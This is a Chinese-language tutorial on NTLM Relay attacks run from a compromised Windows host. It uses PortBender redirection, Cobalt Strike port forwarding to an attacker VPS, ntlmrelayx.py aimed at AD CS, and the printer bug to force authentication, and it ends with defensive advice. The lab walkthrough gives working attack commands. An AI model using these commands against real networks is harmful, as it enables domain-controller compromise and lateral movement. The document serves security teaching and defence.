无需Linux进行NTLM Relay
字数 1413 2025-08-09 15:23:13
NTLM Relay攻击技术详解与实战指南
一、NTLM Relay技术概述
NTLM Relay是一种在Windows域环境中利用NTLM认证协议弱点进行攻击的技术,其核心在于"中继"受害者的Net-NTLM认证信息。
基本原理
- 攻击者截获或诱使受害者发起NTLM认证
- 将认证信息中继到目标服务器
- 利用中继的认证信息获取目标系统权限
常见攻击场景
-
被动型攻击:
- 利用WPAD(Web Proxy Auto-Discovery Protocol)
- 利用LLMNR(Link-Local Multicast Name Resolution)
-
主动型攻击:
- 利用打印机漏洞(MS-RPRN)
- 利用PetitPotam等强制认证技术
二、传统NTLM Relay的限制
传统NTLM Relay攻击存在一个重要限制:
- 需要监听本地445端口(SMB服务端口)
- Windows系统默认占用445端口
- 导致攻击通常只能在Linux系统上实施
三、突破限制的技术方案
1. 端口重定向技术
使用PortBender工具将受控机的445端口流量重定向到其他端口:
- 上传PortBender驱动文件(xxx.sys)到受控机
- 执行重定向命令:
将445端口流量重定向到8445端口PortBender redirect 445 8445
2. 端口转发技术
使用Cobalt Strike的rportfwd功能:
rportfwd 8445 <vps_ip> 445
将受控机的8445端口转发到攻击机的445端口
3. SOCKS代理设置
在Cobalt Strike中设置SOCKS代理,使攻击流量通过受控机中转
四、实战攻击流程
环境准备
- 主域控制器:192.168.8.144
- 辅域控制器:192.168.8.155
- 攻击者VPS
- 受控机:192.168.8.75(已获取管理员权限)
攻击步骤
-
端口重定向:
- 在受控机上执行:
PortBender redirect 445 8445
- 在受控机上执行:
-
端口转发:
- 在Cobalt Strike中执行:
rportfwd 8445 <vps_ip> 445
- 在Cobalt Strike中执行:
-
设置SOCKS代理:
- 在Cobalt Strike中开启SOCKS代理
-
启动NTLM Relay:
- 在攻击机上使用proxychains执行:
proxychains4 ntlmrelayx.py -t http://192.168.8.144/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'
- 在攻击机上使用proxychains执行:
-
触发强制认证:
- 使用打印机漏洞触发:
python printerbug.py domain.com/user:pass@192.168.8.155 192.168.8.75
- 使用打印机漏洞触发:
-
获取证书:
- 成功中继后可从AD CS服务器获取域控制器证书
五、技术要点与优化建议
-
多进程执行:
- 建议使用多个独立进程执行不同任务(重定向、转发、SOCKS)
- 避免所有操作在单一session中导致崩溃
-
性能考虑:
- 多层流量转发会导致延迟增加
- 攻击机接收流量时响应会明显变慢
-
工具选择:
- PortBender:https://github.com/praetorian-inc/PortBender
- ntlmrelayx.py:Impacket工具集中的NTLM中继工具
- printerbug.py:利用MS-RPRN协议强制认证的工具
六、防御建议
-
禁用不必要的协议:
- 禁用LLMNR和NetBIOS
- 限制WPAD使用
-
启用SMB签名:
- 强制所有SMB通信使用签名
-
保护AD CS服务:
- 限制证书模板权限
- 监控异常证书请求
-
网络分段:
- 实施严格的网络访问控制
- 限制敏感服务的访问路径
-
监控与检测:
- 监控异常的端口重定向行为
- 检测异常的NTLM认证请求
通过以上技术方案,攻击者可以在Windows环境下成功实施NTLM Relay攻击,无需依赖Linux系统。这种技术特别适合在已获取一台Windows主机权限后,进一步横向移动获取域控权限的场景。